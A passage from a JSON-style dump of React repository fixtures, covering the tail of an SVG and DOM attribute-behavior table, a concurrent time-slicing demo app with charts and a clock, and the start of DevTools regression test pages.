{\n    name: 'textAnchor',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('text-anchor'),\n  },\n  {\n    name: 'textDecoration',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('text-decoration'),\n  },\n  {\n    name: 'textLength',\n    read: getSVGProperty('textLength'),\n    containerTagName: 'svg',\n    tagName: 'text',\n  },\n  {\n    name: 'textRendering',\n    tagName: 'svg',\n    read: getSVGAttribute('text-rendering'),\n  },\n  {name: 'title'},\n  {\n    name: 'to',\n    read: getSVGAttribute('to'),\n    containerTagName: 'svg',\n    tagName: 'set',\n  },\n  {\n    name: 'transform',\n    read: getSVGProperty('transform'),\n    containerTagName: 'svg',\n    tagName: 'a',\n    overrideStringValue:\n      'translate(-10,-20) scale(2) rotate(45) translate(5,10)',\n  },\n  {\n    name: 'transform-origin',\n    tagName: 'svg',\n    read: getSVGAttribute('transform-origin'),\n  },\n  {\n    name: 'transformOrigin',\n    tagName: 'svg',\n    read: getSVGAttribute('transform-origin'),\n  },\n  {name: 'type', tagName: 'button', overrideStringValue: 'reset'},\n  {\n    name: 'type',\n    containerTagName: 'svg',\n    tagName: 'feFuncA',\n    read: getSVGProperty('type'),\n    overrideStringValue: 'discrete',\n  },\n  {name: 'typeof', read: getAttribute('typeof')},\n  {\n    name: 'u1',\n    read: getSVGAttribute('u1'),\n    containerTagName: 'svg',\n    tagName: 'hkern',\n  },\n  {\n    name: 'u2',\n    read: getSVGAttribute('u2'),\n    containerTagName: 'svg',\n    tagName: 'hkern',\n  },\n  {\n    name: 'underline-position',\n    read: getSVGAttribute('underline-position'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'underline-thickness',\n    read: getSVGAttribute('underline-thickness'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'underlinePosition',\n    read: getSVGAttribute('underline-position'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'underlineThickness',\n    read: getSVGAttribute('underline-thickness'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'unicode',\n    read: getSVGAttribute('unicode'),\n    containerTagName: 'svg',\n    tagName: 'glyph',\n  },\n  {\n    name: 'unicode-bidi',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('unicode-bidi'),\n  },\n  {\n    name: 'unicode-range',\n    read: getSVGAttribute('unicode-range'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'unicodeBidi',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('unicode-bidi'),\n  },\n  {\n    name: 'unicodeRange',\n    read: getSVGAttribute('unicode-range'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'units-per-em',\n    read: getSVGAttribute('units-per-em'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'unitsPerEm',\n    read: getSVGAttribute('unites-per-em'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'unknown', read: getAttribute('unknown')},\n  {\n    name: 'unselectable',\n    read: getAttribute('unselectable'),\n    tagName: 'span',\n    overrideStringValue: 'on',\n  },\n  {name: 'useMap', tagName: 'img'},\n  {\n    name: 'v-alphabetic',\n    read: getSVGAttribute('v-alphabetic'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'v-hanging',\n    read: getSVGAttribute('v-hanging'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'v-ideographic',\n    read: getSVGAttribute('v-ideographic'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'v-mathematical',\n    read: getSVGAttribute('v-mathematical'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'vAlphabetic',\n    read: getSVGAttribute('v-alphabetic'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'value', tagName: 'input', extraProps: {onChange() {}}},\n  {name: 'value', tagName: 'input', type: 'email', extraProps: {onChange() {}}},\n  {\n    name: 'value',\n    tagName: 'input',\n    type: 'number',\n    extraProps: {onChange() {}},\n  },\n  {name: 'value', tagName: 'textarea', extraProps: {onChange() {}}},\n  {\n    name: 'value',\n    containerTagName: 'select',\n    tagName: 'option',\n    extraProps: {onChange() {}},\n  },\n  {\n    name: 'Value',\n    containerTagName: 'select',\n    tagName: 'option',\n    read: getProperty('value'),\n  },\n  {\n    name: 'values',\n    read: getSVGProperty('values'),\n    containerTagName: 'svg',\n    tagName: 'feColorMatrix',\n    overrideStringValue: '1 0 0 0 0  0 1 0 0 0  0 0 1 0 0  0 0 0 1 0',\n  },\n  {\n    name: 'vector-effect',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('vector-effect'),\n  },\n  {\n    name: 'vectorEffect',\n    containerTagName: 'svg',\n    tagName: 'line',\n    read: getSVGAttribute('vector-effect'),\n  },\n  {name: 'version', containerTagName: 'document', tagName: 'html'},\n  {name: 'version', tagName: 'svg', read: getSVGAttribute('version')},\n  {\n    name: 'vert-adv-y',\n    read: getSVGAttribute('vert-origin-y'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'vert-origin-x',\n    read: getSVGAttribute('vert-origin-y'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'vert-origin-y',\n    read: getSVGAttribute('vert-origin-y'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'vertAdvY',\n    read: getSVGAttribute('vert-adv-y'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'vertOriginX',\n    read: getSVGAttribute('vert-origin-x'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'vertOriginY',\n    read: getSVGAttribute('vert-origin-y'),\n    containerTagName: 'svg',\n    tagName: 'font',\n  },\n  {\n    name: 'vHanging',\n    read: getSVGAttribute('v-hanging'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'vIdeographic',\n    read: getSVGAttribute('v-ideographic'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'viewBox',\n    read: getSVGProperty('viewBox'),\n    containerTagName: 'svg',\n    tagName: 'marker',\n    overrideStringValue: '0 0 1500 1000',\n  },\n  {\n    name: 'viewTarget',\n    read: getSVGAttribute('viewTarget'),\n    containerTagName: 'svg',\n    tagName: 'view',\n  },\n  {name: 'visibility', read: getAttribute('visibility')},\n  {\n    name: 'visibility',\n    containerTagName: 'svg',\n    tagName: 'path',\n    read: getSVGAttribute('visibility'),\n  },\n  {\n    name: 'vMathematical',\n    read: getSVGAttribute('v-mathematical'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'vocab', read: getAttribute('vocab')},\n  {name: 'width', tagName: 'img'},\n  {\n    name: 'width',\n    containerTagName: 'svg',\n    tagName: 'rect',\n    read: getSVGProperty('width'),\n  },\n  {\n    name: 'widths',\n    read: getSVGAttribute('widths'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'wmode', read: getAttribute('wmode'), tagName: 'embed'},\n  {\n    name: 'word-spacing',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('word-spacing'),\n  },\n  {\n    name: 'wordSpacing',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('word-spacing'),\n  },\n  {name: 'wrap', tagName: 'textarea'},\n  {\n    name: 'writing-mode',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('writing-mode'),\n  },\n  {\n    name: 'writingMode',\n    containerTagName: 'svg',\n    tagName: 'text',\n    read: getSVGAttribute('writing-mode'),\n  },\n  {\n    name: 'x',\n    read: getSVGAttribute('x'),\n    containerTagName: 'svg',\n    tagName: 'altGlyph',\n  },\n  {\n    name: 'x-height',\n    read: getSVGAttribute('x-height'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {\n    name: 'x1',\n    read: getSVGProperty('x1'),\n    containerTagName: 'svg',\n    tagName: 'line',\n  },\n  {\n    name: 'x2',\n    read: getSVGProperty('x2'),\n    containerTagName: 'svg',\n    tagName: 'line',\n  },\n  {\n    name: 'xChannelSelector',\n    read: getSVGProperty('xChannelSelector'),\n    containerTagName: 'svg',\n    tagName: 'feDisplacementMap',\n    overrideStringValue: 'R',\n  },\n  {\n    name: 'xHeight',\n    read: getSVGAttribute('x-height'),\n    containerTagName: 'svg',\n    tagName: 'font-face',\n  },\n  {name: 'XLink:Actuate', read: getAttribute('XLink:Actuate')},\n  {name: 'xlink:actuate', read: getAttribute('xlink:actuate')},\n  {name: 'xlink:arcrole', read: getAttribute('xlink:arcrole')},\n  {name: 'xlink:href', read: getAttribute('xlink:href')},\n  {name: 'xlink:role', read: getAttribute('xlink:role')},\n  {name: 'xlink:show', read: getAttribute('xlink:show')},\n  {name: 'xlink:title', read: getAttribute('xlink:title')},\n  {name: 'xlink:type', read: getAttribute('xlink:type')},\n  {name: 'xlinkActuate', read: getAttribute('xlink:actuate')},\n  {name: 'XlinkActuate', read: getAttribute('Xlink:actuate')},\n  {name: 'xlinkArcrole', read: getAttribute('xlink:arcrole')},\n  {name: 'xlinkHref', read: getAttribute('xlink:href')},\n  {name: 'xlinkRole', read: getAttribute('xlink:role')},\n  {name: 'xlinkShow', read: getAttribute('xlink:show')},\n  {name: 'xlinkTitle', read: getAttribute('xlink:title')},\n  {name: 'xlinkType', read: getAttribute('xlink:type')},\n  {name: 'xml:base', read: getAttribute('xml:base')},\n  {name: 'xml:lang', read: getAttribute('xml:lang')},\n  {name: 'xml:space', read: getAttribute('xml:space')},\n  {name: 'xmlBase', read: getAttribute('xml:base')},\n  {name: 'xmlLang', read: getAttribute('xml:lang')},\n  {name: 'xmlns', read: getProperty('namespaceURI'), tagName: 'svg'},\n  {name: 'xmlns:xlink', read: getAttribute('xmlns:xlink')},\n  {name: 'xmlnsXlink', read: getAttribute('xmlns:xlink')},\n  {name: 'xmlSpace', read: getAttribute('xml:space')},\n  {\n    name: 'y',\n    read: getSVGAttribute('y'),\n    containerTagName: 'svg',\n    tagName: 'altGlyph',\n  },\n  {\n    name: 'y1',\n    read: getSVGProperty('y1'),\n    containerTagName: 'svg',\n    tagName: 'line',\n  },\n  {\n    name: 'y2',\n    read: getSVGProperty('y2'),\n    containerTagName: 'svg',\n    tagName: 'line',\n  },\n  {\n    name: 'yChannelSelector',\n    read: getSVGProperty('yChannelSelector'),\n    containerTagName: 'svg',\n    tagName: 'feDisplacementMap',\n    overrideStringValue: 'B',\n  },\n  {\n    name: 'z',\n    read: getSVGProperty('z'),\n    containerTagName: 'svg',\n    tagName: 'fePointLight',\n  },\n  {name: 'zoomAndPan', read: getSVGProperty('zoomAndPan'), tagName: 'svg'},\n];\n\nattributes.forEach(attr => {\n  attr.read = attr.read || getProperty(attr.name);\n});\n\nexport default attributes;\n"
  },
  {
    "path": "fixtures/attribute-behavior/src/index.css",
    "content": "* {\n  box-sizing: border-box;\n}\n\nbody {\n  font-family: monospace;\n  font-size: 12px;\n}\n"
  },
  {
    "path": "fixtures/attribute-behavior/src/index.js",
    "content": "import './index.css';\nimport React from 'react';\nimport ReactDOM from 'react-dom';\nimport App from './App';\n\nReactDOM.render(<App />, document.getElementById('root'));\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/.gitignore",
    "content": "# See https://help.github.com/ignore-files/ for more about ignoring files.\n\n# dependencies\n/node_modules\n\n# testing\n/coverage\n\n# production\n/build\n\n# misc\n.DS_Store\n.env.local\n.env.development.local\n.env.test.local\n.env.production.local\n\nnpm-debug.log*\nyarn-debug.log*\nyarn-error.log*\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/README.md",
    "content": "# CPU async rendering demo\n\n## What is this fixture?\n\nThis is a demo application based on [Dan Abramov's](https://github.com/gaearon) recent [JSConf Iceland talk](https://reactjs.org/blog/2018/03/01/sneak-peek-beyond-react-16.html) about React.\n\nIt depends on a local build of React and enables us to easily test async \"time slicing\" APIs in a more \"real world app\" like context.\n\n## Can I use this code in production?\n\nNo. The APIs being tested here are unstable and some of them have still not been released to NPM. For now, this fixture is only a test harness.\n\nThere are also known bugs and inefficiencies in main so **don't use this fixture for demonstration purposes either yet**. Until they are fixed, this fixture is **not** indicative of React async rendering performance.\n\n## How do I run this fixture?\n\n### From npm version\n\n```\n# 1: Install fixture dependencies\ncd fixtures/unstable-async/time-slicing/\nyarn\n\n# 2: Run the app\nyarn start\n```\n\n### From React source code\n```shell\n# 1: Build react from source\ncd /path/to/react\nyarn\nyarn build react-dom/index,react/index,react-cache,scheduler --type=NODE\n\n# 2: Install fixture dependencies\ncd fixtures/unstable-async/time-slicing/\nyarn\n\n# 3: Copy React source code over\nyarn copy-source\n\n# 3: Run the app\nyarn start\n```\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/package.json",
    "content": "{\n  \"name\": \"cpu-demo\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"dependencies\": {\n    \"glamor\": \"^2.20.40\",\n    \"react\": \"0.0.0-experimental-269dd6ec5\",\n    \"react-dom\": \"0.0.0-experimental-269dd6ec5\",\n    \"react-markdown\": \"^3.2.0\",\n    \"react-scripts\": \"^1.1.4\",\n    \"victory\": \"^0.25.6\"\n  },\n  \"scripts\": {\n    \"copy-source\": \"cp -r ../../../build/oss-experimental/* ./node_modules/\",\n    \"dev\": \"react-scripts start\",\n    \"build\": \"react-scripts build\",\n    \"test\": \"react-scripts test --env=jsdom\",\n    \"eject\": \"react-scripts eject\"\n  }\n}\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/public/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n    <meta name=\"theme-color\" content=\"#000000\">\n    <!--\n      manifest.json provides metadata used when your web app is added to the\n      homescreen on Android. See https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/\n    -->\n    <link rel=\"manifest\" href=\"%PUBLIC_URL%/manifest.json\">\n    <link rel=\"shortcut icon\" href=\"%PUBLIC_URL%/favicon.ico\">\n    <!--\n      Notice the use of %PUBLIC_URL% in the tags above.\n      It will be replaced with the URL of the `public` folder during the build.\n      Only files inside the `public` folder can be referenced from the HTML.\n\n      Unlike \"/favicon.ico\" or \"favicon.ico\", \"%PUBLIC_URL%/favicon.ico\" will\n      work correctly both with client-side routing and a non-root public URL.\n      Learn how to configure a non-root public URL by running `npm run build`.\n    -->\n    <title>React App</title>\n  </head>\n  <body>\n    <noscript>\n      You need to enable JavaScript to run this app.\n    </noscript>\n    <div id=\"root\"></div>\n    <!--\n      This HTML file is a template.\n      If you open it directly in the browser, you will see an empty page.\n\n      You can add webfonts, meta tags, or analytics to this file.\n      The build step will place the bundled scripts into the <body> tag.\n\n      To begin the development, run `npm start` or `yarn start`.\n      To create a production bundle, use `npm run build` or `yarn build`.\n    -->\n  </body>\n</html>\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/public/manifest.json",
    "content": "{\n  \"short_name\": \"React App\",\n  \"name\": \"Create React App Sample\",\n  \"icons\": [\n    {\n      \"src\": \"favicon.ico\",\n      \"sizes\": \"64x64 32x32 24x24 16x16\",\n      \"type\": \"image/x-icon\"\n    }\n  ],\n  \"start_url\": \"./index.html\",\n  \"display\": \"standalone\",\n  \"theme_color\": \"#000000\",\n  \"background_color\": \"#ffffff\"\n}\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/src/Charts.js",
    "content": "import React, {PureComponent} from 'react';\nimport {\n  VictoryArea,\n  VictoryAxis,\n  VictoryChart,\n  VictoryBar,\n  VictoryTheme,\n  VictoryScatter,\n  VictoryStack,\n} from 'victory';\n\nconst colors = ['#fff489', '#fa57c1', '#b166cc', '#7572ff', '#69a6f9'];\n\nexport default class Charts extends PureComponent {\n  render() {\n    const streamData = this.props.data;\n    return (\n      <div>\n        <div style={{display: 'flex'}}>\n          <VictoryChart\n            theme={VictoryTheme.material}\n            width={400}\n            height={400}\n            style={{\n              parent: {\n                backgroundColor: '#222',\n              },\n            }}>\n            <VictoryAxis\n              style={{\n                axis: {stroke: 'white'},\n                tickLabels: {fill: 'white'},\n              }}\n            />\n            <VictoryAxis\n              style={{\n                axis: {stroke: 'white'},\n                tickLabels: {fill: 'white'},\n              }}\n              dependentAxis\n            />\n            <VictoryScatter\n              data={streamData[0]}\n              size={6}\n              style={{\n                data: {\n                  fill: d => colors[d.x % 5],\n                },\n              }}\n            />\n          </VictoryChart>\n\n          <VictoryChart\n            theme={VictoryTheme.material}\n            width={400}\n            height={400}\n            style={{\n              parent: {\n                backgroundColor: '#222',\n              },\n            }}\n            domainPadding={[20, 20]}>\n            <VictoryAxis\n              style={{\n                axis: {stroke: 'white'},\n                tickLabels: {fill: 'white'},\n              }}\n            />\n            <VictoryAxis\n              style={{\n                axis: {stroke: 'white'},\n                tickLabels: {fill: 'white'},\n              }}\n              dependentAxis\n            />\n            <VictoryBar\n              data={streamData[0]}\n              style={{\n                data: {\n                  fill: d => colors[d.x % 5],\n                  stroke: 'none',\n                  padding: 5,\n                },\n              }}\n            />\n          </VictoryChart>\n        </div>\n        <div\n          style={{\n            display: 'flex',\n            position: 'relative',\n            top: '-50px',\n          }}>\n          <VictoryChart\n            theme={VictoryTheme.material}\n            width={800}\n            height={350}\n            style={{\n              parent: {\n                backgroundColor: '#222',\n              },\n            }}>\n            <VictoryAxis\n              style={{\n                axis: {stroke: 'white'},\n                tickLabels: {fill: 'white'},\n              }}\n            />\n            <VictoryAxis\n              style={{\n                axis: {stroke: 'white'},\n                tickLabels: {fill: 'white'},\n              }}\n              dependentAxis\n            />\n            <VictoryStack>\n              {streamData.map((data, i) => (\n                <VictoryArea key={i} data={data} colorScale={colors} />\n              ))}\n            </VictoryStack>\n          </VictoryChart>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/src/Clock.js",
    "content": "import React, {createRef, PureComponent} from 'react';\n\nconst SPEED = 0.003 / Math.PI;\nconst FRAMES = 10;\n\nexport default class Clock extends PureComponent {\n  faceRef = createRef();\n  arcGroupRef = createRef();\n  clockHandRef = createRef();\n  frame = null;\n  hitCounter = 0;\n  rotation = 0;\n  t0 = Date.now();\n  arcs = [];\n\n  animate = () => {\n    const now = Date.now();\n    const td = now - this.t0;\n    this.rotation = (this.rotation + SPEED * td) % (2 * Math.PI);\n    this.t0 = now;\n\n    this.arcs.push({rotation: this.rotation, td});\n\n    let lx, ly, tx, ty;\n    if (this.arcs.length > FRAMES) {\n      this.arcs.forEach(({rotation, td}, i) => {\n        lx = tx;\n        ly = ty;\n        const r = 145;\n        tx = 155 + r * Math.cos(rotation);\n        ty = 155 + r * Math.sin(rotation);\n        const bigArc = SPEED * td < Math.PI ? '0' : '1';\n        const path = `M${tx} ${ty}A${r} ${r} 0 ${bigArc} 0 ${lx} ${ly}L155 155`;\n        const hue = 120 - Math.min(120, td / 4);\n        const colour = `hsl(${hue}, 100%, ${60 - i * (30 / FRAMES)}%)`;\n        if (i !== 0) {\n          const arcEl = this.arcGroupRef.current.children[i - 1];\n          arcEl.setAttribute('d', path);\n          arcEl.setAttribute('fill', colour);\n        }\n      });\n      this.clockHandRef.current.setAttribute('d', `M155 155L${tx} ${ty}`);\n      this.arcs.shift();\n    }\n\n    if (this.hitCounter > 0) {\n      this.faceRef.current.setAttribute(\n        'fill',\n        `hsla(0, 0%, ${this.hitCounter}%, 0.95)`\n      );\n      this.hitCounter -= 1;\n    } else {\n      this.hitCounter = 0;\n      this.faceRef.current.setAttribute('fill', 'hsla(0, 0%, 5%, 0.95)');\n    }\n\n    this.frame = requestAnimationFrame(this.animate);\n  };\n\n  componentDidMount() {\n    this.frame = requestAnimationFrame(this.animate);\n    if (this.faceRef.current) {\n      this.faceRef.current.addEventListener('click', this.handleClick);\n    }\n  }\n\n  componentDidUpdate() {\n    console.log('componentDidUpdate()', this.faceRef.current);\n  }\n\n  componentWillUnmount() {\n    this.faceRef.current.removeEventListener('click', this.handleClick);\n    if (this.frame) {\n      cancelAnimationFrame(this.frame);\n    }\n  }\n\n  handleClick = e => {\n    e.stopPropagation();\n    this.hitCounter = 50;\n  };\n\n  render() {\n    const paths = new Array(FRAMES);\n    for (let i = 0; i < FRAMES; i++) {\n      paths.push(<path className=\"arcHand\" key={i} />);\n    }\n    return (\n      <div className=\"stutterer\">\n        <svg height=\"310\" width=\"310\">\n          <circle\n            className=\"clockFace\"\n            onClick={this.handleClick}\n            cx={155}\n            cy={155}\n            r={150}\n            ref={this.faceRef}\n          />\n          <g ref={this.arcGroupRef}>{paths}</g>\n          <path className=\"clockHand\" ref={this.clockHandRef} />\n        </svg>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/src/index.css",
    "content": "html,\nbody {\n  padding: 0px;\n  margin: 0px;\n  user-select: none;\n  font-family: Karla, Helvetica Neue, Helvetica, sans-serif;\n  background: rgb(34, 34, 34);\n  color: white;\n  overflow: hidden;\n}\n\n.VictoryContainer {\n  opacity: 0.8;\n}\n\n* {\n  box-sizing: border-box;\n}\n\n#root {\n  height: 100vh;\n}\n\n.container {\n  width: 100%;\n  max-width: 960px;\n  margin: auto;\n  padding: 10px;\n}\n\n.rendering {\n  margin-top: 20px;\n  margin-bottom: 20px;\n  zoom: 1.8;\n  text-align: center;\n  display: flex;\n  justify-content: space-between;\n}\n\nlabel {\n  zoom: 1;\n  font-size: 30px;\n}\n\nlabel.selected {\n  font-weight: bold;\n}\n\nlabel:nth-child(1).selected {\n  color: rgb(253, 25, 153);\n}\n\nlabel:nth-child(2).selected {\n  color: rgb(255, 240, 1);\n}\n\nlabel:nth-child(3).selected {\n  color: #61dafb;\n}\n\ninput[type=\"radio\" i]:nth-child(1) {\n  margin-left: 0;\n}\n\n.chart {\n  width: 100%;\n  height: 100%;\n}\n\n.input {\n  padding: 16px;\n  font-size: 30px;\n  width: 100%;\n  display: block;\n}\n.input.sync {\n  outline-color: rgba(253, 25, 153, 0.1);\n}\n.input.debounced {\n  outline-color: rgba(255, 240, 1, 0.1);\n}\n.input.async {\n  outline-color: rgba(97, 218, 251, 0.1);\n}\n\n\nlabel {\n  font-size: 20px;\n}\n\nlabel label {\n  display: 'inline-block';\n  margin-left: 20px;\n}\n\n.row {\n  flex: 1;\n  display: flex;\n  margin-top: 20px;\n  min-height: 100%;\n}\n\n.column {\n  flex: 1;\n}\n\n.demo {\n  position: relative;\n  min-height: 100vh;\n}\n\n.stutterer {\n  transform: scale(1.5);\n  height: 310px;\n  width: 310px;\n  position: absolute;\n  left: 0;\n  right: 0;\n  top: -256px;\n  bottom: 0;\n  margin: auto;\n  box-shadow: 0 0 10px 10px rgba(0, 0, 0, 0.2);\n  border-radius: 200px;\n}\n\n.clockHand {\n  stroke: white;\n  stroke-width: 10px;\n  stroke-linecap: round;\n}\n\n.clockFace {\n  stroke: white;\n  stroke-width: 10px;\n}\n\n.arcHand {\n}\n\n.innerLine {\n  border-radius: 6px;\n  position: absolute;\n  height: 149px;\n  left: 47.5%;\n  top: 0%;\n  width: 5%;\n  background-color: red;\n  transform-origin: bottom center;\n}\n"
  },
  {
    "path": "fixtures/concurrent/time-slicing/src/index.js",
    "content": "import React, {PureComponent, startTransition} from 'react';\nimport {createRoot} from 'react-dom/client';\nimport _ from 'lodash';\nimport Charts from './Charts';\nimport Clock from './Clock';\nimport './index.css';\n\nlet cachedData = new Map();\n\nclass App extends PureComponent {\n  state = {\n    value: '',\n    strategy: 'sync',\n    showDemo: true,\n    showClock: false,\n  };\n\n  // Random data for the chart\n  getStreamData(input) {\n    if (cachedData.has(input)) {\n      return cachedData.get(input);\n    }\n    const multiplier = input.length !== 0 ? input.length : 1;\n    const complexity =\n      (parseInt(window.location.search.slice(1), 10) / 100) * 25 || 25;\n    const data = _.range(5).map(t =>\n      _.range(complexity * multiplier).map((j, i) => {\n        return {\n          x: j,\n          y: (t + 1) * _.random(0, 255),\n        };\n      })\n    );\n    cachedData.set(input, data);\n    return data;\n  }\n\n  componentDidMount() {\n    window.addEventListener('keydown', e => {\n      if (e.key.toLowerCase() === '?') {\n        e.preventDefault();\n        this.setState(state => ({\n          showClock: !state.showClock,\n        }));\n      }\n    });\n  }\n\n  handleChartClick = e => {\n    if (this.state.showDemo) {\n      if (e.shiftKey) {\n        this.setState({showDemo: false});\n      }\n      return;\n    }\n    if (this.state.strategy !== 'async') {\n      this.setState(state => ({\n        showDemo: !state.showDemo,\n      }));\n      return;\n    }\n    if (this._ignoreClick) {\n      return;\n    }\n    this._ignoreClick = true;\n\n    startTransition(() => {\n      this.setState({showDemo: true}, () => {\n        this._ignoreClick = false;\n      });\n    });\n  };\n\n  debouncedHandleChange = _.debounce(value => {\n    if (this.state.strategy === 'debounced') {\n      this.setState({value: value});\n    }\n  }, 1000);\n\n  renderOption(strategy, label) {\n    const {strategy: currentStrategy} = this.state;\n    return (\n      <label className={strategy === currentStrategy ? 'selected' : null}>\n        <input\n          type=\"radio\"\n          checked={strategy === currentStrategy}\n          onChange={() => this.setState({strategy})}\n        />\n        {label}\n      </label>\n    );\n  }\n\n  handleChange = e => {\n    const value = e.target.value;\n    const {strategy} = this.state;\n    switch (strategy) {\n      case 'sync':\n        this.setState({value});\n        break;\n      case 'debounced':\n        this.debouncedHandleChange(value);\n        break;\n      case 'async':\n        // TODO: useTransition hook instead.\n        startTransition(() => {\n          this.setState({value});\n        });\n        break;\n      default:\n        break;\n    }\n  };\n\n  render() {\n    const {showClock} = this.state;\n    const data = this.getStreamData(this.state.value);\n    return (\n      <div className=\"container\">\n        <div className=\"rendering\">\n          {this.renderOption('sync', 'Synchronous')}\n          {this.renderOption('debounced', 'Debounced')}\n          {this.renderOption('async', 'Concurrent')}\n        </div>\n        <input\n          className={'input ' + this.state.strategy}\n          placeholder=\"longer input → more components and DOM nodes\"\n          defaultValue={this.state.input}\n          onChange={this.handleChange}\n        />\n        <div className=\"demo\" onClick={this.handleChartClick}>\n          {this.state.showDemo && (\n            <Charts data={data} onClick={this.handleChartClick} />\n          )}\n          <div style={{display: showClock ? 'block' : 'none'}}>\n            <Clock />\n          </div>\n        </div>\n      </div>\n    );\n  }\n}\n\nconst container = document.getElementById('root');\nconst root = createRoot(container);\nroot.render(<App />);\n"
  },
  {
    "path": "fixtures/devtools/regression/14.9.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 14.9</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@0.14.9/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@0.14.9/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/14.9.html\">http://localhost:3000/14.9.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/15.0.html",
    "content": "<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"UTF-8\" />\n    <title>React 15.0</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n\n    <script type=\"text/javascript\">\n      // Enable DevTools to inspect React inside of an <iframe>\n      // This must run before React is loaded\n      __REACT_DEVTOOLS_GLOBAL_HOOK__ = parent.__REACT_DEVTOOLS_GLOBAL_HOOK__;\n    </script>\n\n    <script src=\"https://unpkg.com/react@15.0/dist/react.js\"></script>\n    <script src=\"https://unpkg.com/react-dom@15.0/dist/react-dom.js\"></script>\n    \n    <!-- Don't use this in production: -->\n    <script src=\"https://unpkg.com/babel-standalone@6/babel.min.js\"></script>\n  </head>\n  <body>\n    <div id=\"root\">\n      If you are seeing this message, you are likely viewing this file using the <code>file</code> protocol which does not support cross origin requests.\n      <br/><br/>\n      Use the <code>server</code> script instead:\n      <br/><br/>\n      <code>node ./fixtures/devtools/regression/server.js</code><br/>\n      <code>open <a href=\"http://localhost:3000/15.0.html\">http://localhost:3000/15.0.html</a></code>\n    </div>\n\n    <script src=\"shared.js\" type=\"text/babel\"></script>\n\n    <!--\n      This is a great way to try React but it's not suitable for production.\n      It slowly compiles JSX with Babel in the browser and uses a large development build of React.\n      Learn more at https://reactjs.org/docs/getting-started.html\n    -->\n  </body>\n</html>"
  },
  {
    "path": "fixtures/devtools/regression/15.1.html",
